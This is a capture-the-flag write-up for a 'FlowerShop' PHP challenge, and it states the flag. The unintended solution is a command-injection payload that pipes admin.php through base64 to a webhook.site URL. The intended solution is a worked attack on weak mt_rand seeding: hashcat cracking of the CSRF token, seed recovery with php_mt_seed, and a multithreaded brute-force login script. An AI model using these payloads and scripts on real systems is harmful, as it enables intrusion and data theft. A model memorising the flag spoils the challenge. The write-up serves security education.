For help setting the challenge up, go to INSTALL.md
- FlowerShop.zip
Flowers!
Flag format: CACI{}
unintended: 5/10
intended: 10/10
CACI{y0uv3_f0und_th3_rar3st_s33d_0f_all!}
- seeds are very important in the flower business
CACI SPONSORED CHALLENGE Daniel Getter (NihilistPenguin)
None yet
This challenge was initially designed to be run in a container per team, but due to infrastructure limitations, we had a shared instance of the web app. Luckily for us, I suck at PHP dev and wrote in a command injection that I never fixed. Without this vuln, this challenge would be impossible to solve using the intended method.
classes/reset.class.php has command injection on $this->wh, as it's user-controlled non-filtered input:
exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &");When signing up a user, add a parameter with bash command injection to your webhook URL, and submit a reset request.
https://webhook.site/ceec0a12-ebd4-4dbc-b91d-66d03d3f397e?a=`grep${IFS}CACI${IFS}../admin.php${IFS}|${IFS}base64
You should get a request with the base64'd result in the param:
https://webhook.site/60de2023-dc15-40bf-a6eb-c0c458d282a4?a=ICAgICAgICA8aDM+Q0FDSXt5MHV2M19mMHVuZF90aDNfcmFyM3N0X3MzM2RfMGZfYWxsIX08L2gz
$ echo ICAgICAgICA8aDM+Q0FDSXt5MHV2M19mMHVuZF90aDNfcmFyM3N0X3MzM2RfMGZfYWxsIX08L2gz | base64 -d
<h3>CACI{y0uv3_f0und_th3_rar3st_s33d_0f_all!}</h3You can do anything with this command injection, like a full-blown reverse shell if you want.
The admin webhook url in the database is https://webhook.site/fake. If you pay $16 for a premium webhook account, you can specify a URL of your choosing, so you can technically just buy https://webhook.site/fake and then submit an admin password request and you'll get the flag.
If the vuln above is patched, I believe this is the only possible solution. It does have the prerequisite that each team has their own instance so other people don't reset the admin password while you attempt to crack it.
This challenge abuses the fact that the code uses mt_rand and other low-entropy psuedo-randomization functions to create temporary passwords. We can see this in the helpers.php file:
function genRandString($length) {
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz';
$len = strlen($allowable_characters) - 1;
$str = '';
for ($i = 0; $i < $length; $i++) {
$str .= $allowable_characters[mt_rand(0, $len)];
}
return $str;
}
function genTmpPwd() {
list($usec, $sec) = explode(' ', microtime());
$usec *= 1000000;
$tmpPass = genRandString(8) . $sec . $usec . posix_getpid();
return $tmpPass;
}The genRandString() function only uses lowercase letters. This is prepended to the time in seconds and microseconds that the reset request was made and the PID of the process handling the requst. 2 of these 4 "random" pieces of the password have essentially 0 entropy.
$sec if just the epoch time in the moment of the request. One way to know exactly what time it is, is to just look at the HTTP response header and convert the Date (ex: Date: Fri, 14 Jul 2023 00:59:49 GMT) into epoch time. The second way is easier, and we will talk about that when we discuss $usec.
posix_getpid() will return the PID of the process handling the request. You may think that there are millions of possible PID values, but the entropy is actually 0. First, you might be relieved when running ps aux in your docker container that there are less than 10 process running (probably) and their PIDs seem to be all under 59. You may also notice that the apache processes seem to always be 17 to ~22. Looking good, but we can do better. If you run apachectl -M in the container, you should see this line: php5_module (shared). This means that mod_php is enabled on the server. You can read about it, but the only part we care about is that requests in the same session will be handled within the same process. So if we make a request and get its PID and then make a second request in the same session, its PID will be the exact same. Luckily for us, the temporary password generated is not hashed and just gives us the PID in plaintext. If we make a password reset request for our own account and then for the admin (in the same session), we can see the PID in our temprorary password and be confident that the PID used in the admin reset password is the same.
The above method is also the way we can grab the server's $sec epoch time instead of converting the Date header. Okay, 2 of the 4 parts have been reduced to an entropy of 0. Let's see if we can do anything about $usec now.
$usec is the microsecond time of when the request is handled. Brute forcing 1000000 values is a bit too much. The easiest way to narrow this entropy down is just to hope that your latency with the server is less than a second. If we send the reset request at microtime 0 and the server handles it at microtime 30000, effectively cutting the entropy down 30x. To figure out this range, we can just send several reset requests to our own user and get the time between us sending the request and the microtime we see in our reset password. The problem with this is that it relies on being sync'd up exactly with the server's time, which is not the case, as there is generally some microsecond deviation. A better way (even though there is more entropy), is to just time the difference between two sequential password reset generations. So, instead of quantifying the avg time between request sent and password generation, we are quantifying the avg time between password generation #1 and password generation #2. All you have to do is send 2 sequential reset requests to your created user and pull out the microsecond time in the reset password sent to you. Do this enough times and you should have found a good range of time after the first password generation that the second password gets generated. In my testing, I've found the 2nd password gets generated around 90,000 - 150,000 microseconds after the first. The larger this range, the higher the entropy and search space needed for brute-forcing. These requests are called "request twins"
This paper has a good explanation of 2 methods to reduce time-based entoropy: adversarial time synchronization and request twins. Both of these methods could be used here too. It's also worth a read as it relates to PHP seed attacks.
We are now left with the genRandString(8) part of the password. Without digging in, there are 26^8 (208 billion) possible combinations here, yikes. Luckliy for us, it is using mt_rand, which is a psuedorandom number generator (PRNG) and not a true random number generator (especially in older verions of PHP before they tried adding some better randomization, which is still not great and should be avoided). php_mt_seed is a seed cracker for mt_rand(). The README for the tools is really good at explaining how it works and how to use it in different scenarios. Insufficient Entropy For Random Values
is also very good and helpful read.
Assuming you read the links and understand what is happening, we can move on. The createCsrf() function seen below is the key to solving this challenge.
function createCsrf() {
mt_srand();
return md5(genRandString(8));
}The first thing it does is call mt_srand() which will re-seed the PRNG that mt_rand uses. This function is called only in login.php, so whenever that page is rendered mt_rand will be re-seeded. I'll leave understanding why this is important as an exercise to the reader. If we can crack the CSRF hash and retrive the 8 "randomly" generated characters, we can use php_mt_seed to crack the seed initialized with mt_srand. Once we have the seed, we can then regenerate the results of the genRandString calls to get the string used in the admin password reset.
We now have a plan for attack:
- send request twins to quantify microsecond time difference between two sequential reset request password generations
- send a password reset for your account and admin
- crack the MD5 hash of the CSRF
- php_mt_seed to get mt_srand() used for CSRF
- regenerate mt_rand() outputs to get the string used for the admin temporary password
- brute force login attempts guessing microtime within a calculated range
Let's start our attack script:
import time
import requests
from bs4 import BeautifulSoup
def get_csrf(s):
"""
Parse the login.php page for the CSRF token
"""
r = s.get('http://127.0.0.1/login.php')
soup = BeautifulSoup(r.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'token'})
csrf_token = csrf_input['value']
return csrf_token
def reset_pass(username, session, csrf):
"""
Send a password reset request
"""
data = {
'uid': username,
'token': csrf,
'submit': ''
}
# don't follow redirect or else you'll land back on login.php and
# force CSRF generation, causing mt_srand to re-seed and thus the passwords
# will be generated using a differnt seed than the one we will crack
response = session.post('http://127.0.0.1/modules/reset.inc.php', data=data, allow_redirects=False)
return csrf
# start a session to keep these requests under one PID
session = requests.session()
# get seconds and microseconds of the time that we send the request
sec = int(time.time())
microsec = int(time.time_ns() / 1_000) % 1_000_000
# grab the CSRF token
csrf = get_csrf(session)
# send a password reset request for our user
reset_pass('test', session, csrf)
print(csrf)
print(sec)
print(microsec)
# do the same with the admin reset request
sec = int(time.time())
microsec = int(time.time_ns() / 1_000) % 1_000_000
csrf = reset_pass('admin', session, csrf)
print(sec)
print(microsec)OUTPUT:
53d2a5278ce7145d0a8f20a5f086591b
1688929912
122821
1688929912
198843
NOTE: when doing the request twins, just swap out the 2nd request reset of the admin account for your test user. Pull out the usec from the generated passwords and see their time difference. For this example, I'm going with the usec range of 90,000 - 150,000.
Now we need to crack the CSRF hash. This is easily done with the following hashcat command: hashcat -m 0 -a 3 -i --increment-min=8 hash.txt ?l?l?l?l?l?l?l?l -w 3 -O. Cracked: ljcayigp.
Time to use php_mt_rand. I made this php script to automatically generate the proper input for php_mt_rand based on the pw2args.php script discussed here: https://github.com/openwall/php_mt_seed.
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz';
$len = strlen($allowable_characters) - 1;
$pass = $argv[1];
$iter = 0;
for ($i = 0; $i < $iter; $i++) {
for ($j = 0; $j < strlen($pass); $j++) {
echo "0 0 0 0 ";
}
}
for ($i = 0; $i < strlen($pass); $i++) {
$number = strpos($allowable_characters, $pass[$i]);
echo "$number $number 0 $len ";
}
echo "\n";Now if we run:
./php_mt_seed `php pw2args.php ljcayigp`
we should see that it found one: seed = 0x1407828c = 336036492
To regenerate mt_rand output used for the admin temporary password, we need to copy the genRandString function and run it after seeding mt_srand with 336036492. Here is my regen.php script:
function genRandString($length) {
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz';
$len = strlen($allowable_characters) - 1;
$str = '';
for ($i = 0; $i < $length; $i++) {
$str .= $allowable_characters[mt_rand(0, $len)];
}
return $str;
}
mt_srand(336036492);
// csrf token
echo genRandString(8);
echo "\n";
// rand string for "test" reset
echo genRandString(8);
echo "\n";
// rand string for "admin" reset
echo genRandString(8);
echo "\n";IMPORTANT: you have to run this in a php5.6 environment for this to generate properly. You might as well just use the the same docker container that you are running the challenge. You can check the output of each string generation with the CSRF token and the "random" string at the start of the temporary password sent to your test user.
Let's move on, using uucoxcyz as the string starting the admin temporary password. Here is the brute force script:
def brute(stop_flag, success_password, offset, num_threads):
"""
This will brute force potential passwords. The offset and # of threads
will determine how each thread counts.
Ex: 4 threads means that each thread will increment micro_min by 4 and
start on +0, +1, +2, +3 offsets of the micro_min.
if micro_min is 10, each thread counts as follows:
thread 1: 0, 4, 8, 12, ...
thread 2: 1, 5, 9, 13, ...
thread 3: 2, 6, 10, 14, ...
thread 4: 3, 7, 11, 15, ...
"""
sec = 1688929912
pid = 18
micro_min = 198843 + 90000 + offset
micro_max = micro_min + 60000
start = "uucoxcyz"
username = 'admin'
while micro_min < micro_max:
if stop_flag.is_set():
return
pwd = start + str(sec) + str(micro_min) + str(pid)
print(pwd)
if login(username, pwd):
success_password[0] = pwd
stop_flag.set()
return
micro_min += num_threads
def login(username, pwd):
data = {
'uid': username,
'pwd': pwd,
'submit': ''
}
response = requests.post('http://127.0.0.1/modules/login.inc.php', data=data)
if "Buy seeds" in response.text:
return True
start = time.time()
stop_flag = threading.Event()
success_password = [None]
threads = []
num_threads = multiprocessing.cpu_count()
for offset in range(num_threads):
thread = threading.Thread(target=brute, args=(stop_flag, success_password, offset, num_threads))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
if stop_flag.is_set():
print("Login successful!")
print("Successful password:", success_password[0])
end = time.time()
print("Time elapsed: " + str(int(end-start)) + " seconds")Make sure you set the micro_min and micro_max offsets to match the latency differences you are seeing when doing the request twins characterization. This program uses threading to brute force faster.
If everything goes right (and you're not unlukcy), you will eventually login successfully as admin and can grab the flag from admin.php!
Resources and more fun reading:
- https://github.com/padraic/phpsecurity/blob/master/book/lang/en/source/Insufficient-Entropy-For-Random-Values.rst
- https://github.com/openwall/php_mt_seed
- https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final218.pdf
- https://www.ptsecurity.com/upload/corporate/ww-en/download/random_numbers_take_two_eng.pdf
- https://samy.pl/phpwn/BlackHat-USA-2010-Kamkar-How-I-Met-Your-Girlfriend-wp.pdf